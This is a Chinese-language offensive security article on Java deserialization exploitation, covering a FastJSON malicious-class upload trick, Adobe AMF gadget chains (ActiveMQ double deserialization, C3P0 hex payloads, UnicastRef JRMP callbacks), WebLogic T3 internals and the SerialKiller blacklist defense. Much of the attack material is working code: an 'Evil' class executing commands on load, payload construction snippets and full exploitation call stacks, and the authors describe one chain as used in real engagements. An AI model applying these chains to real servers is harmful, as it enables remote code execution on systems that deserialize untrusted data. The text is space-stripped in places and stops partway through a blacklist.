这里就存在了一个场景,如果目标使用了安全版本的FastJSON以及以FatJAR模式起的WEB服务,存在一个任意地址的文件上传漏洞,但是由于FatJAR的问题导致了无法上传JSP文件利用。
类的加载会先从Bootstrap ClassLoader尝试加载,当找不到该类时,才会从下一级的ExtClassLoader尝试加载。这里可以直接覆盖到charset.jar,除了这些JAR,类加载地址中还会有jre classes(默认不存在这个目录),如果文件上传可以指定目录以及自动创建目录,那么往这个目录下写入恶意类,然后通过FastJSON加载即可实现RCE。
除了这种Charset,Fastjson还允许非常多的期望类,比如<=1.2.80都允许Exception,这时候写一个恶意类继承Exception,然后依然上传到classes中,通过fastjson加载。
当然这种利用方式特别鸡肋,需要高权限需要猜测JDK地址,需要能创建目录,在实战中比较难碰到。
importjava.io.IOException;publicclassEvilextendsException{static{try{Runtime.getRuntime().exec("open -a calculator.app");}catch(IOException e) {thrownewRuntimeException(e);}}publicEvil()throwsIOException {Runtime.getRuntime().exec("open -a calculator.app");}}
AMF反序列化
基础介绍
AMF(Action Message Format)是一种由Adobe开发的二进制序列化格式,广泛用于Flash和Flex应用程序的数据传输。AMF反序列化指的是将AMF格式的数据转换为可操作的对象或数据结构。由于AMF反序列化过程会自动创建对象,恶意构造的AMF数据包可能触发代码执行。
利用剖析
AMF基于序列化和反序列化机制处理网络中的特定格式的二进制数据,相关的特性表现为可以序列化/反序列化任意类,我们选择利用时选择的反序列化目标类主要体现在继承了Externalizable的类和javaBean中。在AMF中分别提供了序列化和反序列化的方法,相关代码如下:
importflex.messaging.io.SerializationContext;importflex.messaging.io.amf.;importjava.beans.PropertyVetoException;importjava.io.;publicclassAMFUtils{publicstaticbyte[] serialize(Object data)throwsIOException {MessageBodybody=newMessageBody();body.setData(data);ActionMessagemessage=newActionMessage();message.addBody(body);ByteArrayOutputStreamout=newByteArrayOutputStream();AmfMessageSerializerserializer=newAmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(), out,null);serializer.writeMessage(message);returnout.toByteArray();}publicstaticvoiddeserialize(String path)throwsIOException, ClassNotFoundException {InputStreaminputStream=newFileInputStream(newFile(path));ByteArrayOutputStreambyteArrayOutputStream=newByteArrayOutputStream();intn=0;while((n=inputStream.read())!=-1){byteArrayOutputStream.write(n);}byte[] amf = byteArrayOutputStream.toByteArray();ByteArrayInputStreamin=newByteArrayInputStream(amf);AmfMessageDeserializerdeserializer=newAmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(), in,null);ActionMessageactionMessage=newActionMessage();deserializer.readMessage(actionMessage,newActionContext());}}
根据以上代码,我们接下来可以大致分析下AMF中是如何封装对象,并且从二进制数据流中恢复对象的,这样有助于构造我们后面的利用链的构造,根据以往经验,当我们尝试通过以上代码去当序列化JavaBean对象时会调用目标类的getter方法,反序列化JavaBean对象则会调用目标类的构造方法和setter方法。而当反序列化继承了Externalizable的对象时,则会调用目标类的readExternal方法,如下表示AMF序列化一个JavaBean对象时的特性,
根据上述首先分析AMF处理javabean对象时的场景,提取如下代码进一步分析,
AmfMessageSerializer serializer =newAmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(),out,null);serializer.writeMessage(message);
ActionMessage方法,封装了三个变量version、headers、bodies,
publicActionMessage(){this.version =3;this.headers =newArrayList();this.bodies =newArrayList();}publicActionMessage(intversion){this.version = version;this.headers =newArrayList();this.bodies =newArrayList();}
接下来直接从writeMessage开始分析,主要是将一个ActionMessage对象写入到输出流中,代码中分别序列化了AMF的版本,AMF分为0和3两个版本,默认使用0版本(可指定)。以及头和消息体,也就是说经过AMF序列化后的对象持久化后由这三部分组成(即前面提到的/tmp/person)。
publicvoid writeMessage(ActionMessage m) throws IOException {if(this.isDebug) {this.debugTrace.startResponse("Serializing AMF/HTTP response");}int version = m.getVersion();this.amfOut.setAvmPlus(version >=3);this.amfOut.writeShort(version);if(this.isDebug) {this.debugTrace.version(version);}int headerCount = m.getHeaderCount();this.amfOut.writeShort(headerCount);int bodyCount;for(bodyCount =0; bodyCount < headerCount; ++bodyCount) {MessageHeader header = m.getHeader(bodyCount);if(this.isDebug) {this.debugTrace.startHeader(header.getName(), header.getMustUnderstand(), bodyCount);}this.writeHeader(header);if(this.isDebug) {this.debugTrace.endHeader();}}bodyCount = m.getBodyCount();this.amfOut.writeShort(bodyCount);for(int i =0; i < bodyCount; ++i) {MessageBody body = m.getBody(i);if(this.isDebug) {this.debugTrace.startMessage(body.getTargetURI(), body.getResponseURI(), i);}this.writeBody(body);if(this.isDebug) {this.debugTrace.endMessage();}}}
这里主要关注AMF是如何序列化body的核心逻辑writeBody方法,它最后调用了AMF中真正的核心处理java对象的放方法Amf0Output.class#writeObject,
publicvoid writeBody(MessageBody b) throws IOException {if(b.getTargetURI() ==null) {this.amfOut.writeUTF("null");}else{this.amfOut.writeUTF(b.getTargetURI());}if(b.getResponseURI() ==null) {this.amfOut.writeUTF("null");}else{this.amfOut.writeUTF(b.getResponseURI());}this.amfOut.writeInt(-1);this.amfOut.reset();Objectdata= b.getData();this.writeObject(data);//处理Person对象}public void writeObject(Object value) throws IOException {this.amfOut.writeObject(value);}
writeObject用于将不同类型的Java对象转换为 AMF 格式的二进制数据,最后处理person对象的逻辑如下,这里实际上会调用Amf3Output.class#writeObject,并且会通过writeAMFNull方法处理null值,确保 AMF 格式正确。
{if(this.avmPlusOutput ==null) {this.createAMF3Output();}this.out.writeByte(17);this.avmPlusOutput.writeObject(o);}
Amf3Output中同样也会处理null值,如果是继承了Externalizable的类则直接调用writeCustomObject,
否则走以下逻辑,处理了Throwable、RowSet,再调用writeCustomObject,否则直接调用,
else{if(oinstanceofRowSet) {o =newPagedRowSet((RowSet)o,Integer.MAX_VALUE,false);}elseif(this.context.legacyThrowable&& oinstanceofThrowable) {o =newStatusInfoProxy((Throwable)o);}this.writeCustomObject(o);}
在writeCustomObject中还会处理PropertyProxy代理对象、集合、数组、Map,以及普通 Java 对象,然后调用writePropertyProxy,此时的proxy对象类型为BeanProxy。
protectedvoid writeCustomObject(Object o) throws IOException {PropertyProxy proxy =null;if(o instanceof PropertyProxy) {proxy = (PropertyProxy)o;o = proxy.getDefaultInstance();if(o ==null) {this.writeAMFNull();return;}}this.out.write(10);if(!this.byReference(o)) {if(proxy ==null) {proxy = PropertyProxyRegistry.getProxyAndRegister(o);}this.writePropertyProxy(proxy, o);}}
PropertyProxyRegistry代理机制,如果对象为JavaBean则配置proxy为flex.messaging.io.BeanProxy给writePropertyProxy,
privatestaticPropertyProxyguessProxy(Objectinstance) {Objectproxy;if(instanceinstanceofMap) {proxy =newMapProxy();}elseif(instanceinstanceofThrowable) {proxy =newThrowableProxy();}elseif(!(instanceinstanceofPageableRowSet) && !(instanceinstanceofRowSet)) {if(instanceinstanceofDictionary) {proxy =newDictionaryProxy();}else{proxy =newBeanProxy();}}else{proxy =newPageableRowSetProxy();}return(PropertyProxy)proxy;}
writePropertyProxy主要用来反序列化对象的属性,如果是Externalizable则采用它自身的序列化方法(writeExternal),否者获取该对象的属性名propertyNames,如果代理是BeanProxy的实例,代码会检查该对象的属性是否是writeOnly(通过属性是否存在getter和setter方法进行判断),即该属性只能写入,不能读取。
如果是writeOnly属性,会将其从属性名列表中移除,然后再由TraitsInfo类封装数据,writePropertyProxy也是最终AMF序列化对象的核心逻辑。
protectedvoidwritePropertyProxy(PropertyProxy proxy, Object instance)throwsIOException {ObjectnewInst=proxy.getInstanceToSerialize(instance);if(newInst != instance) {if(newInst ==null) {thrownewMessageException("PropertyProxy.getInstanceToSerialize class: "+ proxy.getClass() +" returned null for instance class: "+ instance.getClass().getName());}proxy = PropertyProxyRegistry.getProxyAndRegister(newInst);instance = newInst;}ListpropertyNames=null;booleanexternalizable=proxy.isExternalizable(instance);if(!externalizable) {propertyNames = proxy.getPropertyNames(instance);if(proxyinstanceofBeanProxy) {BeanProxybp=(BeanProxy)proxy;if(propertyNames !=null&& !propertyNames.isEmpty()) {List propertiesToRemove =null;for(inti=0; i < propertyNames.size(); ++i) {StringpropName=(String)propertyNames.get(i);if(bp.isWriteOnly(instance, propName)) {if(propertiesToRemove ==null) {propertiesToRemove =newArrayList();}propertiesToRemove.add(propName);}}if(propertiesToRemove !=null) {propertyNames.removeAll(propertiesToRemove);}}}}TraitsInfoti=newTraitsInfo(proxy.getAlias(instance), proxy.isDynamic(), externalizable, propertyNames);this.writeObjectTraits(ti);if(externalizable) {((Externalizable)instance).writeExternal(this);}elseif(propertyNames !=null&& !propertyNames.isEmpty()) {for(inti=0; i < propertyNames.size(); ++i) {StringpropName=(String)propertyNames.get(i);Objectvalue=proxy.getValue(instance, propName);this.writeObjectProperty(propName, value);}}this.writeObjectEnd();}
至于为什么会调用javabean的getter方法,因为在BeanProxy.class#get中使用了反射。
publicObjectget(Object bean) throws IllegalAccessException, InvocationTargetException {Object obj =null;if(this.readMethod !=null) {obj =this.readMethod.invoke(bean, (Object[])null);}elseif(this.field !=null) {obj =this.field.get(bean);}returnobj;}
通过以上分析,我们可以发现在AMF序列化对象时的特性,整个流程看下来,AMF可以序列化任意类型对象,并没有限制。然后通过代理机制来序列化类,并当序列化Externalizable对象时调用其writeExternal方法,序列化的数据由三部分组成,并且会调用javaBean对象的getter方法。分析序列化过程有利于我们构造序列化数据,接下来分析AMF中的反序列化一个对象的。
在readMessage方法中,会判断二进制文件的头,限定了amf的头只能是0000、0001、0003三个值,
首先Amf0Input.class的readObjectValue(int type)中的case通过type值走不同逻辑,这里javabean的type为16,
protectedObject readObjectValue(int type) throws ClassNotFoundException, IOException {Object value =null;switch (type) {case0:value =this.readDouble();break;case1:value =this.readBoolean();break;..........case16:String typeName =this.in.readUTF();value =this.readObjectValue(typeName);break;case17:if(this.avmPlusInput ==null) {this.avmPlusInput = new Amf3Input(this.context);this.avmPlusInput.setDebugTrace(this.trace);this.avmPlusInput.setInputStream(this.in);}value =this.avmPlusInput.readObject();}returnvalue;}
然后在readObjectValue中的proxy.setValue则会调用类的setter,
protectedObject readObjectValue(String className) throws ClassNotFoundException, IOException {Object[] params = new Object[]{className,null};Objectobject=this.createObjectInstance(params);className = (String)params[0];PropertyProxy proxy = (PropertyProxy)params[1];int objectId =this.rememberObject(object);if(this.isDebug) {this.trace.startAMFObject(className,this.objectsTable.size() -1);}String propertyName =this.in.readUTF();Object newObj;for(int type =this.in.readByte(); type !=9; type =this.in.readByte()) {if(this.isDebug) {this.trace.namedElement(propertyName);}newObj =this.readObjectValue(type);proxy.setValue(object, propertyName, newObj);propertyName =this.in.readUTF();}if(this.isDebug) {this.trace.endAMFObject();}newObj = proxy.instanceComplete(object);if(newObj !=object) {this.objectsTable.set(objectId, newObj);object= newObj;}returnobject;}
如果是继承了Externalizable的类的话则会走type=17的逻辑,进而调用到Amf3Inpu中的readScriptObject方法,
protectedObjectreadScriptObject() throws ClassNotFoundException, IOException{intref=this.readUInt29();if((ref&1) ==0) {returnthis.getObjectReference(ref>>1);}else{TraitsInfo ti =this.readTraits(ref);String className = ti.getClassName();boolean externalizable = ti.isExternalizable();Object[]params=newObject[]{className,null};Objectobject=this.createObjectInstance(params);className = (String)params[0];PropertyProxy proxy = (PropertyProxy)params[1];intobjectId =this.rememberObject(object);if(externalizable) {this.readExternalizable(className,object);}else{.......returnobject;}}
最后在readExternalizable方法中调用了目标类的readExternal方法,
protectedvoidreadExternalizable(StringclassName,Objectobject) throwsClassNotFoundException,IOException{if(objectinstanceofExternalizable) {ClassUtil.validateCreation(Externalizable.class);if(this.isDebug) {this.trace.startExternalizableObject(className,this.objectTable.size() -1);}((Externalizable)object).readExternal(this);}else{SerializationExceptionex =newSerializationException();ex.setMessage(10305,newObject[]{object.getClass().getName()});throwex;}}
综上,AMF在反序列化时会调用目标类的readExternal和setter方法,接下来我们根据这个特性去构造反序列化链。
利用方式发展
setter 与 readExternal 公开利用
根据以上特性在公开的利用链分为以下几种,接下里我们分析下每条链:
setter类型:ReplicatedTree链、C3P0链、SpringPropertyPathFactory链
readExternal类型: UnicastRef链、UnicastRef2链、MetaDataEntry链
其中 ReplicatedTree 和 MetaDataEntry 具体的利用细节可以参考 https://github.com/codewhitesec/ColdFusionPwn 其中 MetaDataEntry 链也用到了二次反序列化的思路,将 AMF 序列化转换成 Java 原生序列化。
PropertyPathFactoryBean链
通过org.springframework.beans.factory.config.PropertyPathFactoryBean#setBeanFactory这个 setter 进行利用,通过设置 beanFactory 属性为 org.springframework.jndi.support.SimpleJndiBeanFactory#SimpleJndiBeanFactory 最后利用JNDI,所以受到JDK版本和出网影响。
publicvoid setBeanFactory(BeanFactory beanFactory) {this.beanFactory = beanFactory;if(this.targetBeanWrapper !=null&&this.targetBeanName !=null) {thrownew IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");}else{......if(this.targetBeanWrapper ==null&&this.beanFactory.isSingleton(this.targetBeanName)) {Object bean =this.beanFactory.getBean(this.targetBeanName);this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);this.resultType =this.targetBeanWrapper.getPropertyType(this.propertyPath);}}}
public T getBean(String name,ClassrequiredType)throwsBeansException{try{//returnthis.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);}catch(NameNotFoundException var4) {thrownew NoSuchBeanDefinitionException(name,"not found in JNDI environment");}catch(TypeMismatchNamingException var5) {thrownew BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());}catch(NamingException var6) {thrownew BeanDefinitionStoreException("JNDI environment", name,"JNDI lookup failed", var6);}}
UnicastRef链
这条链主要依赖JRMP相关的操作,在 sun.rmi.server.UnicastRef#readExternal 中连接远程 JRMP 然后进行序列化操作,后续的攻击还是要依赖于 Java 原生序列化的 Gagdet
核心利用代码如下:
publicstaticObjectgenerateUnicastRef(String host,intport){java.rmi.server.ObjIDobjId=newjava.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpointendpoint=newsun.rmi.transport.tcp.TCPEndpoint(host, port);sun.rmi.transport.LiveRefliveRef=newsun.rmi.transport.LiveRef(objId, endpoint,false);returnnewsun.rmi.server.UnicastRef(liveRef);}
不出网利用
ActiveMQ
这是我们在实战中挖掘和成功使用过的利用链,在之前的关于ActiceMQ的反序列化的公开文章中,提到了ActiveMQObjectMessage这个类。
Stringcmd="rO0ABX";Stringpayload=String.format("[main]\n"+"bs = org.apache.activemq.util.ByteSequence\n"+"message = org.apache.activemq.command.ActiveMQObjectMessage\n"+"bs.data = %s\n"+"bs.length = %d\n"+"bs.offset = 0\n"+"message.content = $bs\n"+"message.trustAllPackages = true\n"+"message.object.x = x", cmd, cmd.length());IniEnvironmentiniEnvironment=newIniEnvironment(payload);
在AMF中的构造如下,
String cmd="rO0ABXNyAB.....";byte[] bytes = Base64.getDecoder().decode(cmd);ByteSequencebyteSequence=newByteSequence(bytes);ActiveMQObjectMessageactiveMQObjectMessage=newActiveMQObjectMessage();activeMQObjectMessage.setContent(byteSequence);BasicComboBoxEditorbasicComboBoxEditor=newBasicComboBoxEditor();basicComboBoxEditor.setItem(activeMQObjectMessage);
javax.swing.plaf.basic.BasicComboBoxEditor存在以下setter方法,会调用对象的toString方法,
publicvoidsetItem(ObjectanObject) {Stringtext;if( anObject !=null) {text = anObject.toString();if(text ==null) {text ="";}oldValue = anObject;}else{text ="";}// workaround for 4530952if (! text.equals(editor.getText())) {editor.setText(text);}}
通过这里我们就可以结合toSting的链子进行利用,首先就可以想到以下:
com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.JSONArray也存在toString
但是如果最后都是通过toString去调用TemplatesImpl#getOutputProperties的话则会利用失败,原因在于AMF调用setter去恢复对象完成反序列话对象,但像_bytecodes、_name并没有setter方法,无法完整还原对象导致利用失败,这里结合toString+ActiveMQObjectMessage进行二次反序列化构造,以下是调用过程:
ActiveMQObjectMessage存在toString方法并且会调用getObject方法,
publicStringtoString() {try{this.getObject();}catch(JMSExceptionvar2) {}returnsuper.toString();}
getObject这里存在二次反序列化,这里主要是构造content字段即可。
publicSerializable getObject() throws JMSException {if(this.object==null&&this.getContent() !=null) {try{ByteSequence content =this.getContent();InputStreamis= new ByteArrayInputStream(content);if(this.isCompressed()) {is= new InflaterInputStream((InputStream)is);}DataInputStream dataIn = new DataInputStream((InputStream)is);ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);try{this.object= (Serializable)objIn.readObject();}catch(ClassNotFoundException var10) {throwJMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: "+ var10, var10);}finally{dataIn.close();}}catch(IOException var12) {throwJMSExceptionSupport.create("Failed to build body from bytes. Reason: "+ var12, var12);}}returnthis.object;}
调用栈如下:
access$000:56, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)run:401, TemplatesImpl$1(com.sun.org.apache.xalan.internal.xsltc.trax)doPrivileged:-1, AccessController (java.security)defineTransletClasses:399, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [3]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:426, PropertyUtils (org.apache.commons.beanutils)compare:157, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)getObject:191, ActiveMQObjectMessage (org.apache.activemq.command)toString:232, ActiveMQObjectMessage (org.apache.activemq.command)setItem:77, BasicComboBoxEditor (javax.swing.plaf.basic)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)set:807, BeanProxy$BeanProperty (flex.messaging.io)setValue:265, BeanProxy (flex.messaging.io)readObjectValue:406, Amf0Input (flex.messaging.io.amf)readObjectValue:132, Amf0Input (flex.messaging.io.amf)readObject:94, Amf0Input (flex.messaging.io.amf)readObject:227, AmfMessageDeserializer (flex.messaging.io.amf)readBody:206, AmfMessageDeserializer (flex.messaging.io.amf)readMessage:126, AmfMessageDeserializer (flex.messaging.io.amf)main:24, Apptest
C3P0
C3P0链在之前的利用中主要分为两种,一种是出网的远程类加载、另一种则是不出网的二次hex反序列化利用和结合EL表达式的利用。这里不再分析C3p0,主要是不出网利用在AMF中的构造,代码如下:
因为在整个利用流程中,我们只会用到hexstring这个属性值,因此本地更改WrapperConnectionPoolDataSource的逻辑后,根据AMF序列化时会调用getter方法的特性将属性hexstring封装到序列化数据中。
package com.mchange.v2.c3p0;importjava.beans.PropertyVetoException;publicclassWrapperConnectionPoolDataSource{privateStringpayload;privateStringhexstring;publicWrapperConnectionPoolDataSource(Stringpayload){this.payload= payload;}publicStringgetUserOverridesAsString() {hexstring=payload;returnthis.hexstring;}publicvoidsetUserOverridesAsString(Stringhexstring) throwsPropertyVetoException{}}
然后反序列化,
String hexstring="HexAsciiSerializedMap:ACED;";WrapperConnectionPoolDataSourcewrapper=newWrapperConnectionPoolDataSource(hexstring);FileOutputStreamfileOutputStream=newFileOutputStream(newFile("/tmp/c3p0"));fileOutputStream.write(serialize(wrapper));deserialize("/tmp/c3p0");
反序列化调用栈如下,主要是反序列化时,调用了setUserOverridesAsString方法,
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498,Method(java.lang.reflect)invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:426, PropertyUtils (org.apache.commons.beanutils)compare:157, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498,Method(java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)fromByteArray:123, SerializableUtils (com.mchange.v2.ser)parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)vetoableChange:110, WrapperConnectionPoolDataSource$1(com.mchange.v2.c3p0)fireVetoableChange:375, VetoableChangeSupport (java.beans)fireVetoableChange:271, VetoableChangeSupport (java.beans)setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498,Method(java.lang.reflect)set:807, BeanProxy$BeanProperty (flex.messaging.io)setValue:265, BeanProxy (flex.messaging.io)readScriptObject:438, Amf3Input (flex.messaging.io.amf)readObjectValue:152, Amf3Input (flex.messaging.io.amf)readObject:130, Amf3Input (flex.messaging.io.amf)readObjectValue:123, Amf0Input (flex.messaging.io.amf)readObject:94, Amf0Input (flex.messaging.io.amf)readObject:227, AmfMessageDeserializer (flex.messaging.io.amf)readBody:206, AmfMessageDeserializer (flex.messaging.io.amf)readMessage:126, AmfMessageDeserializer (flex.messaging.io.amf)deserialize:36, C3p0Gadgetsmain:46, C3p0Gadgets
其他协议
反序列化漏洞的风险远不局限于HTTP协议的数据传输场景,其威胁范围实际上覆盖了所有涉及Java对象序列化与反序列化的通信协议。在像RMI这样的RPC协议中,反序列化是核心实现机制;Oracle WebLogic的T3协议,作为专有的Java对象传输协议,其内置的序列化机制也成为了多起高危漏洞的根源。这类安全威胁的本质,源于Java原生反序列化机制在类型安全校验上的缺失,使得任何接受不可信序列化数据的通信层都可能成为攻击面。当然,其他协议的序列化/反序列化方式也不尽相同。T3依赖Java原生反序列化,Dubbo默认使用Hessian,而像ActiveMQ等则可能自定义序列化方式。
为了在不同协议中实现序列化,通常需要构造符合协议要求的数据包,例如一些协议可能包含特定的头信息、Magic number等,序列化数据则紧随其后。
Weblogic T3实现的代码如下,可以发现最后具体的实现也是JAVA原生反序列化。
packageweblogic.rjvm;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.StreamCorruptedException;importweblogic.protocol.ServerChannel;importweblogic.protocol.ServerChannelStream;importweblogic.utils.collections.Stack;finalclassInboundMsgAbbrev{privatestaticfinalbooleanDEBUG=false;privatefinalStackabbrevs=newStack();InboundMsgAbbrev() {}voidread(MsgAbbrevInputStream var1, BubblingAbbrever var2)throwsIOException, ClassNotFoundException {intvar3=var1.readLength();for(intvar4=0; var4 < var3; ++var4) {intvar5=var1.readLength();Object var6;if(var5 > var2.getCapacity()) {var6 =this.readObject(var1);var2.getAbbrev(var6);this.abbrevs.push(var6);}else{var6 = var2.getValue(var5);this.abbrevs.push(var6);}}}privateObjectreadObject(MsgAbbrevInputStream var1)throwsIOException, ClassNotFoundException {intvar2=var1.read();switch(var2) {case0:return(newServerChannelInputStream(var1)).readObject();case1:returnvar1.readASCII();default:thrownewStreamCorruptedException("Unknown typecode: '"+ var2 +"'");}}voidreset(){this.abbrevs.clear();}voidwriteTo(MsgAbbrevOutputStream var1)throwsIOException {intvar2=this.abbrevs.size();for(intvar3=0; var3 < var2; ++var3) {var1.getAbbrevs().addAbbrev(this.getAbbrev());}}ObjectgetAbbrev(){returnthis.abbrevs.pop();}publicStringtoString(){returnsuper.toString() +" - abbrevs: '"+this.abbrevs +"'";}privatestaticclassServerChannelInputStreamextendsObjectInputStreamimplementsServerChannelStream{privatefinalServerChannel serverChannel;privateServerChannelInputStream(MsgAbbrevInputStream var1)throwsIOException {super(var1);this.serverChannel = var1.getServerChannel();}publicServerChannelgetServerChannel(){returnthis.serverChannel;}}}
反序列化防护与对抗
反序列化漏洞在Java安全生态中造成了重大的影响,在这个过程中防御与检测技术也在持续发展和对抗,无论是最初的基本的黑白名单技术,到后续的传统流量检测方法,再到RASP技术和JDK自身的安全加强。在这个过程中,攻防双方进行了多次的博弈。
SerialKiller 对抗
SerialKiller 是一种针对Java反序列化漏洞的防御工具,旨在检测和拦截恶意序列化数据攻击。SerialKiller通过替换默认的ObjectInputStream,对反序列化的类进行白名单或黑名单过滤,限制允许加载的类。
SerialKiller的用法如下,使用new SerialKiller替代了new ObjectInputStream,
ByteArrayInputStreambais=newByteArrayInputStream(baos.toByteArray());ObjectInputStreamois=newSerialKiller(bais,"/tmp/serialkiller.conf");ois.readObject();
SerialKiller的具体原理也就是之前说到的,重写了resolveClass方法,在里面进行黑白名单校验,这是目前最常用的黑白名单的检测方案。
protectedClass<?> resolveClass(ObjectStreamClass serialInput)throwsIOException, ClassNotFoundException {this.config.reloadIfNeeded();Iteratorvar2=this.config.blacklist().iterator();while(var2.hasNext()) {PatternblackPattern=(Pattern)var2.next();MatcherblackMatcher=blackPattern.matcher(serialInput.getName());if(blackMatcher.find()) {if(!this.profiling) {LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", blackPattern.pattern(), serialInput.getName()));thrownewInvalidClassException(serialInput.getName(),"Class blocked from deserialization (blacklist)");}LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));}}booleansafeClass=false;Iteratorvar7=this.config.whitelist().iterator();while(var7.hasNext()) {PatternwhitePattern=(Pattern)var7.next();MatcherwhiteMatcher=whitePattern.matcher(serialInput.getName());if(whiteMatcher.find()) {safeClass =true;if(this.profiling) {LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));}break;}}if(!safeClass && !this.profiling) {LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));thrownewInvalidClassException(serialInput.getName(),"Class blocked from deserialization (non-whitelist)");}else{returnsuper.resolveClass(serialInput);}}
SerialKiller提供的默认配置文件如下:
6000falsebsh.XThis$bsh.Interpreter$com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase$org.apache.commons.beanutils.BeanComparator$org.apache.commons.collections.Transformer$org.apache.commons.collections.functors.InvokerTransformer$org.apache.commons.collections.functors.ChainedTransformer$org.apache.commons.collections.functors.ConstantTransformer$org.apache.commons.collections.functors.InstantiateTransformer$org.apache.commons.collections4.functors.InvokerTransformer$org.apache.commons.collections4.functors.ChainedTransformer$org.apache.commons.collections4.functors.ConstantTransformer$org.apache.commons.collections4.functors.InstantiateTransformer$org.apache.commons.collections4.comparators.TransformingComparator$org.apache.commons.fileupload.disk.DiskFileItem$org.apache.wicket.util.upload.DiskFileItem$org.codehaus.groovy.runtime.ConvertedClosure$org.codehaus.groovy.runtime.MethodClosure$org.hibernate.engine.spi.TypedValue$org.hibernate.tuple.component.AbstractComponentTuplizer$org.hibernate.tuple.component.PojoComponentTuplizer$org.hibernate.type.AbstractType$org.hibernate.type.ComponentType$org.hibernate.type.Type$com.sun.rowset.JdbcRowSetImpl$org.jboss.(weld.)?interceptor.builder.InterceptionModelBuilder$org.jboss.(weld.)?interceptor.builder.MethodReference$org.jboss.(weld.)?interceptor.proxy.DefaultInvocationContextFactory$org.jboss.(weld.)?interceptor.proxy.InterceptorMethodHandler$org.jboss.(weld.)?interceptor.reader.ClassMetadataInterceptorReference$org.jboss.(weld.)?interceptor.reader.DefaultMethodMetadata$org.jboss.(weld.)?interceptor.reader.ReflectiveClassMetadata$org.jboss.(weld.)?interceptor.reader.SimpleInterceptorMetadata$org.jboss.(weld.)?interceptor.spi.instance.InterceptorInstantiator$org.jboss.(weld.)?interceptor.spi.metadata.InterceptorReference$org.jboss.(weld.)?interceptor.spi.metadata.MethodMetadata$org.jboss.(weld.)?interceptor.spi.model.InterceptionModel$org.jboss.(weld.)?interceptor.spi.model.InterceptionType$java.rmi.registry.Registry$java.rmi.server.ObjID$java.rmi.server.RemoteObjectInvocationHandler$net.sf.json.JSONObject$javax.xml.transform.Templates$org.python.core.PyObject$org.python.core.PyBytecode$org.python.core.PyFunction$org.mozilla.javascript..$org.apache.myfaces.context.servlet.FacesContextImpl$org.apache.myfaces.context.servlet.FacesContextImplBase$org.apache.myfaces.el.CompositeELResolver$org.apache.myfaces.el.unified.FacesELContext$org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression$com.sun.syndication.feed.impl.ObjectBean$org.s